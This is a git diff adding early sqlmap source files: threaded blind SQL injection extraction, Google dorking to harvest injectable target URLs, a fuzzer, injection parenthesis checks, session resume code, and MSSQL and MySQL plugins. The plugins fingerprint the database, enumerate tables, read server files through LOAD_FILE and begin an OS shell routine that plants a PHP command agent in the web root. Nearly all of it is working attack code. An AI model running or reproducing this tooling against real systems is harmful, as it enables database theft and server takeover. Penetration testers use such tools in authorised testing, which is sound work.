progressTime.append(charTime) + progress.update(index) + progress.draw(eta) + + + if conf.threads > 1 and isinstance(length, int) and length > 1: + value = [None] * length + index = [0] # As list for python nested function scoping + idxlock = threading.Lock() + iolock = threading.Lock() + + + def downloadThread(): + while True: + idxlock.acquire() + + if index[0] >= length: + idxlock.release() + + return + + index[0] += 1 + curidx = index[0] + idxlock.release() + + charStart = time.time() + val = getChar(curidx) + + if val == None: + raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length) + + value[curidx-1] = val + + if showEta: + etaProgressUpdate(time.time() - charStart, index[0]) + elif conf.verbose in ( 1, 2 ): + s = "".join([c or "_" for c in value]) + iolock.acquire() + dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s)) + iolock.release() + + # Start the threads + for _ in range(numThreads): + thread = threading.Thread(target=downloadThread) + thread.start() + threads.append(thread) + + # And wait for them to all finish + for thread in threads: + thread.join() + + assert None not in value + + value = "".join(value) + + assert index[0] == length + + if conf.sessionFile: + dataToSessionFile(replaceNewlineTabs(value)) + + if conf.verbose in ( 1, 2 ) and not showEta: + dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value)) + + else: + value = "" + index = 0 + + while True: + index += 1 + charStart = time.time() + val = getChar(index) + + if val == None: + break + + value += val + + if conf.sessionFile: + dataToSessionFile(replaceNewlineTabs(val)) + + if showEta: + etaProgressUpdate(time.time() - charStart, index) + elif conf.verbose in ( 1, 2 ): + dataToStdout(val) + + if conf.verbose in ( 1, 2 ) or showEta: + dataToStdout("\n") + + if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3: + infoMsg = "retrieved: %s" % value + logger.info(infoMsg) + + if conf.sessionFile: + dataToSessionFile("]\n") + + return queriesCount[0], value diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/utils/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/utils/fuzzer.py b/lib/utils/fuzzer.py new file mode 100644 index 000000000..16c938941 --- /dev/null +++ b/lib/utils/fuzzer.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +$Id: fuzzer.py 247 2008-07-19 23:07:26Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.agent import agent +from lib.core.data import logger +from lib.core.data import paths +from lib.request.connect import Connect as Request + + +def passiveFuzzing(): + logMsg = "executing passive fuzzing to retrieve DBMS error messages" + logger.info(logMsg) + + fuzzVectors = open(paths.FUZZ_VECTORS, "r") + + for fuzzVector in fuzzVectors: + fuzzVector = fuzzVector.replace("\r", "").replace("\n", "") + + payload = agent.payload(newValue=fuzzVector) + Request.queryPage(payload) diff --git a/lib/utils/google.py b/lib/utils/google.py new file mode 100644 index 000000000..25e6dd5c7 --- /dev/null +++ b/lib/utils/google.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python + +""" +$Id: google.py 330 2008-08-28 21:25:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import cookielib +import re +import urllib2 + +from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.exception import sqlmapConnectionException +from lib.core.exception import sqlmapRegExprException + + +class Google: + """ + This class defines methods used to perform Google dorking (command + line option '-g <google dork>' + """ + + def __init__(self, proxyHandler): + self.__googleCookie = None + self.__matches = [] + self.__cj = cookielib.LWPCookieJar() + self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj)) + self.opener.addheaders = conf.httpHeaders + + + def __parsePage(self, page): + """ + Parse Google dork search results page to get the list of + HTTP addresses + """ + + matches = [] + + regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l" + matches = re.findall(regExpr, page, re.I | re.M) + + return matches + + + def getTargetUrls(self): + """ + This method returns the list of hosts with parameters out of + your Google dork search results + """ + + targetUrls = set() + + for match in self.__matches: + if re.search("(.*?)\?(.+)", match, re.I): + targetUrls.add(match) + + return targetUrls + + + def getCookie(self): + """ + This method is the first to be called when initializing a + Google dorking object through this library. It is used to + retrieve the Google session cookie needed to perform the + further search + """ + + try: + conn = self.opener.open("http://www.google.com/ncr") + headers = conn.info() + except urllib2.HTTPError, e: + headers = e.info() + except urllib2.URLError, e: + errMsg = "unable to connect to Google" + raise sqlmapConnectionException, errMsg + + + def search(self, googleDork): + """ + This method performs the effective search on Google providing + the google dork and the Google session cookie + """ + + if not googleDork: + return None + + url = "http://www.google.com/search?" + url += "q=%s&" % urlencode(googleDork) + url += "num=100&hl=en&safe=off&filter=0&btnG=Search" + + try: + conn = self.opener.open(url) + page = conn.read() + except urllib2.HTTPError, e: + page = e.read() + except urllib2.URLError, e: + errMsg = "unable to connect to Google" + raise sqlmapConnectionException, errMsg + + self.__matches = self.__parsePage(page) + + return self.__matches diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py new file mode 100644 index 000000000..eae50c7a5 --- /dev/null +++ b/lib/utils/parenthesis.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +""" +$Id: parenthesis.py 357 2008-09-21 18:52:16Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.agent import agent +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapNoneDataException +from lib.core.session import setParenthesis +from lib.request.connect import Connect as Request + + +def checkForParenthesis(): + """ + This method checks if the SQL injection affected parameter + is within the parenthesis. + """ + + if kb.parenthesis != None: + return kb.parenthesis + + logMsg = "testing for parenthesis on injectable parameter" + logger.info(logMsg) + + count = 0 + + for parenthesis in range(1, 4): + query = agent.prefixQuery("%s " % (")" * parenthesis)) + query += "AND %s" % ("(" * parenthesis) + + randInt = randomInt() + randStr = randomStr() + + if kb.injType == "numeric": + query += "%d=%d" % (randInt, randInt) + elif kb.injType == "stringsingle": + query += "'%s'='%s" % (randStr, randStr) + elif kb.injType == "likesingle": + query += "'%s' LIKE '%s" % (randStr, randStr) + elif kb.injType == "stringdouble": + query += "\"%s\"=\"%s" % (randStr, randStr) + elif kb.injType == "likedouble": + query += "\"%s\" LIKE \"%s" % (randStr, randStr) + else: + raise sqlmapNoneDataException, "unsupported injection type" + + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if result == kb.defaultResult: + count = parenthesis + + logMsg = "the injectable parameter requires %d parenthesis" % count + logger.info(logMsg) + + setParenthesis(count) diff --git a/lib/utils/resume.py b/lib/utils/resume.py new file mode 100644 index 000000000..9b863c84f --- /dev/null +++ b/lib/utils/resume.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python + +""" +$Id: resume.py 294M 2008-10-14 23:49:41Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import dataToSessionFile +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.unescaper import unescaper +from lib.techniques.inference.blind import bisection + + +def queryOutputLength(expression, payload): + """ + Returns the query output length. + """ + + lengthQuery = queries[kb.dbms].length + + select = re.search("\ASELECT\s+", expression, re.I) + selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) + selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) + selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) + miscExpr = re.search("\A(.+)", expression, re.I) + + if selectTopExpr or selectDistinctExpr or selectExpr: + if selectTopExpr: + regExpr = selectTopExpr.groups()[0] + elif selectDistinctExpr: + regExpr = selectDistinctExpr.groups()[0] + elif selectExpr: + regExpr = selectExpr.groups()[0] + elif miscExpr: + regExpr = miscExpr.groups()[0] + + if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1: + return None, None, None + + if select: + lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) + else: + lengthExpr = lengthQuery % expression + + infoMsg = "retrieving the length of query output" + logger.info(infoMsg) + + output = resume(lengthExpr, payload) + + if output: + return 0, output, regExpr + + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) + + lengthExprUnescaped = unescaper.unescape(lengthExpr) + count, length = bisection(payload, lengthExprUnescaped) + + if length == " ": + length = 0 + + return count, length, regExpr + + +def resume(expression, payload): + """ + This function can be called to resume part or entire output of a + SQL injection query output. + """ + + condition = ( + kb.resumedQueries and conf.url in kb.resumedQueries.keys() + and expression in kb.resumedQueries[conf.url].keys() + ) + + if not condition: + return None + + resumedValue = kb.resumedQueries[conf.url][expression] + + if not resumedValue: + return None + + if resumedValue[-1] == "]": + resumedValue = resumedValue[:-1] + + infoMsg = "read from file '%s': " % conf.sessionFile + logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S) + + if logValue: + logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue]) + else: + logValue = resumedValue + + if "\n" in logValue: + infoMsg += "%s..." % logValue.split("\n")[0] + else: + infoMsg += logValue + + logger.info(infoMsg) + + return resumedValue + + # If we called this function without providing a payload it means that + # we have called it from lib/request/inject __goInband() function + # in UNION SELECT (inband) SQL injection so we return to the calling + # function so that the query output will be retrieved taking advantage + # of the inband SQL injection vulnerability. + if not payload: + return None + + expressionUnescaped = unescaper.unescape(expression) + substringQuery = queries[kb.dbms].substring + select = re.search("\ASELECT ", expression, re.I) + + _, length, regExpr = queryOutputLength(expression, payload) + + if not length: + return None + + if len(resumedValue) == int(length): + infoMsg = "read from file '%s': " % conf.sessionFile + infoMsg += "%s" % resumedValue.split("\n")[0] + logger.info(infoMsg) + + if conf.sessionFile: + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue)) + + return resumedValue + elif len(resumedValue) < int(length): + infoMsg = "resumed from file '%s': " % conf.sessionFile + infoMsg += "%s..." % resumedValue.split("\n")[0] + logger.info(infoMsg) + + if conf.sessionFile: + dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue)) + + if select: + newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1) + else: + newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length)) + + missingCharsLength = int(length) - len(resumedValue) + + infoMsg = "retrieving pending %d query " % missingCharsLength + infoMsg += "output characters" + logger.info(infoMsg) + + _, finalValue = bisection(payload, newExpr, length=missingCharsLength) + + if len(finalValue) != ( int(length) - len(resumedValue) ): + warnMsg = "the total length of the query is not " + warnMsg += "right, sqlmap is going to retrieve the " + warnMsg += "query value from the beginning now" + logger.warn(warnMsg) + + return None + + return "%s%s" % (resumedValue, finalValue) + + return None diff --git a/plugins/__init__.py b/plugins/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/plugins/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/plugins/dbms/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py new file mode 100644 index 000000000..185090d4c --- /dev/null +++ b/plugins/dbms/mssqlserver.py @@ -0,0 +1,271 @@ +#!/usr/bin/env python + +""" +$Id: mssqlserver.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import time + +from lib.core.agent import agent +from lib.core.common import dataToStdout +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.data import queries +from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import MSSQL_ALIASES +from lib.core.unescaper import unescaper +from lib.parse.banner import bannerParser +from lib.request import inject +from lib.request.connect import Connect as Request +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines Microsoft SQL Server methods + """ + + def __init__(self): + Enumeration.__init__(self, "Microsoft SQL Server") + + unescaper.setUnescape(MSSQLServerMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + #unescaped = "" + unescaped = "(" + + for i in range(firstIndex, lastIndex): + unescaped += "CHAR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "+" + + unescaped += ")" + expression = expression.replace(old, unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHAR(", "").replace(")", "") + oldUpper = oldUpper.split("+") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def getFingerprint(self): + actVer = formatFingerprint() + + if not conf.extensiveFp: + return actVer + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + + if self.banner: + release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML) + + if release and version and servicepack: + banVer = "Microsoft SQL Server %s " % release + banVer += "Service Pack %s " % servicepack + banVer += "version %s" % version + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) + + if not conf.extensiveFp: + return True + + logMsg = "testing Microsoft SQL Server" + logger.info(logMsg) + + randInt = str(randomInt(1)) + query = "LTRIM(STR(LEN(%s)))" % randInt + + if inject.getValue(query) == "1": + query = "SELECT SUBSTRING((@@VERSION), 25, 1)" + version = inject.getValue(query) + + if version == "8": + kb.dbmsVersion = ["2008"] + elif version == "5": + kb.dbmsVersion = ["2005"] + elif version == "0": + kb.dbmsVersion = ["2000"] + + if kb.dbmsVersion: + setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) + else: + setDbms("Microsoft SQL Server") + + if not conf.extensiveFp: + return True + + if conf.getBanner: + self.banner = inject.getValue("@@VERSION") + + return True + else: + warnMsg = "the back-end DMBS is not Microsoft SQL Server" + logger.warn(warnMsg) + + return False + + + def getPrivileges(self): + warnMsg = "this plugin can not fetch database users privileges" + logger.warn(warnMsg) + + return {} + + + def getTables(self): + logMsg = "fetching tables" + if conf.db: + logMsg += " for database '%s'" % conf.db + logger.info(logMsg) + + rootQuery = queries[kb.dbms].tables + + if not conf.db: + if not len(self.cachedDbs): + dbs = self.getDbs() + else: + dbs = self.cachedDbs + else: + if "," in conf.db: + dbs = conf.db.split(",") + else: + dbs = [conf.db] + + if conf.unionUse: + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + logMsg = "skipping system database '%s'" % db + logger.info(logMsg) + + continue + + query = rootQuery["inband"]["query"] % db + value = inject.getValue(query, blind=False) + + if value: + self.cachedTables[db] = value + + if not self.cachedTables: + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + logMsg = "skipping system database '%s'" % db + logger.info(logMsg) + + continue + + logMsg = "fetching number of tables for " + logMsg += "database '%s'" % db + logger.info(logMsg) + + query = rootQuery["blind"]["count"] % db + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % db + logger.warn(warnMsg) + continue + + tables = [] + + for index in range(int(count)): + query = rootQuery["blind"]["query"] % (db, index, db) + table = inject.getValue(query, inband=False) + tables.append(table) + + if tables: + self.cachedTables[db] = tables + else: + warnMsg = "unable to retrieve the tables " + warnMsg += "for database '%s'" % db + logger.warn(warnMsg) + + if not self.cachedTables: + errMsg = "unable to retrieve the tables for any database" + raise sqlmapNoneDataException, errMsg + + return self.cachedTables diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py new file mode 100644 index 000000000..093b71426 --- /dev/null +++ b/plugins/dbms/mysql.py @@ -0,0 +1,471 @@ +#!/usr/bin/env python + +""" +$Id: mysql.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.agent import agent +from lib.core.common import fileToStr +from lib.core.common import formatFingerprint +from lib.core.common import getDirectories +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import MYSQL_ALIASES +from lib.core.shell import autoCompletion +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines MySQL methods + """ + + def __init__(self): + self.has_information_schema = False + Enumeration.__init__(self, "MySQL") + + unescaper.setUnescape(MySQLMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "%d" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "," + + expression = expression.replace(old, "CHAR(%s)" % unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find(")") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.lstrip("CHAR(").rstrip(")") + oldUpper = oldUpper.split(",") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def __commentCheck(self): + logMsg = "executing MySQL comment injection fingerprint" + logger.info(logMsg) + + query = agent.prefixQuery("/* NoValue */") + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if result != kb.defaultResult: + warnMsg = "unable to perform MySQL comment injection" + logger.warn(warnMsg) + + return None + + # MySQL valid versions updated at 07/2008 + versions = ( + (32200, 32233), # MySQL 3.22 + (32300, 32354), # MySQL 3.23 + (40000, 40024), # MySQL 4.0 + (40100, 40122), # MySQL 4.1 + (50000, 50067), # MySQL 5.0 + (50100, 50126), # MySQL 5.1 + (60000, 60006), # MySQL 6.0 + ) + + for element in versions: + prevVer = None + + for version in range(element[0], element[1] + 1): + randInt = randomInt() + version = str(version) + query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if result == kb.defaultResult: + if version[0] == "3": + midVer = prevVer[1:3] + else: + midVer = prevVer[2] + + trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + + return trueVer + + prevVer = version + + return None + + + def getFingerprint(self): + actVer = formatFingerprint() + + if not conf.extensiveFp: + return actVer + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + comVer = self.__commentCheck() + + if comVer: + comVer = formatFingerprint([comVer]) + value += "\n%scomment injection fingerprint: %s" % (blank, comVer) + + if self.banner: + banVer = re.search("^([\d\.]+)", self.banner) + banVer = banVer.groups()[0] + if re.search("-log$", self.banner): + banVer += ", logging enabled" + banVer = formatFingerprint([banVer]) + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + setDbms("MySQL %s" % kb.dbmsVersion[0]) + + if int(kb.dbmsVersion[0]) >= 5: + self.has_information_schema = True + + if not conf.extensiveFp: + return True + + logMsg = "testing MySQL" + logger.info(logMsg) + + randInt = str(randomInt(1)) + query = "CONCAT('%s', '%s')" % (randInt, randInt) + + if inject.getValue(query) == (randInt * 2): + logMsg = "confirming MySQL" + logger.info(logMsg) + + query = "LENGTH('%s')" % randInt + + if not inject.getValue(query) == "1": + warnMsg = "the back-end DMBS is not MySQL" + logger.warn(warnMsg) + + return False + + query = "SELECT %s " % randInt + query += "FROM information_schema.TABLES " + query += "LIMIT 0, 1" + + if inject.getValue(query) == randInt: + setDbms("MySQL 5") + self.has_information_schema = True + + if not conf.extensiveFp: + kb.dbmsVersion = [">= 5.0.0"] + return True + + self.currentDb = inject.getValue("DATABASE()") + if self.currentDb == inject.getValue("SCHEMA()"): + kb.dbmsVersion = [">= 5.0.2", "< 5.1"] + + query = "SELECT %s " % randInt + query += "FROM information_schema.PARTITIONS " + query += "LIMIT 0, 1" + + if inject.getValue(query) == randInt: + kb.dbmsVersion = [">= 5.1"] + else: + kb.dbmsVersion = ["= 5.0.0 or 5.0.1"] + else: + setDbms("MySQL 4") + kb.dbmsVersion = ["< 5.0.0"] + + if not conf.extensiveFp: + return True + + coercibility = inject.getValue("COERCIBILITY(USER())") + if coercibility == "3": + kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] + elif coercibility == "2": + kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] + elif inject.getValue("CURRENT_USER()"): + kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] + + if inject.getValue("CHARSET(CURRENT_USER())") == "utf8": + kb.dbmsVersion = ["= 4.1.0"] + else: + kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] + elif inject.getValue("FOUND_ROWS()") == "0": + kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] + elif inject.getValue("CONNECTION_ID()"): + kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] + elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")): + kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"] + else: + kb.dbmsVersion = ["< 3.22.11"] + + if conf.getBanner: + self.banner = inject.getValue("VERSION()") + + return True + else: + warnMsg = "the back-end DMBS is not MySQL" + logger.warn(warnMsg) + + return False + + + def readFile(self, rFile): + logMsg = "fetching file: '%s'" % rFile + logger.info(logMsg) + + return inject.getValue("LOAD_FILE('%s')" % rFile) + + + def osShell(self): + """ + This method is used to write a PHP agent (cmd.php) on a writable + remote directory within the web server document root. 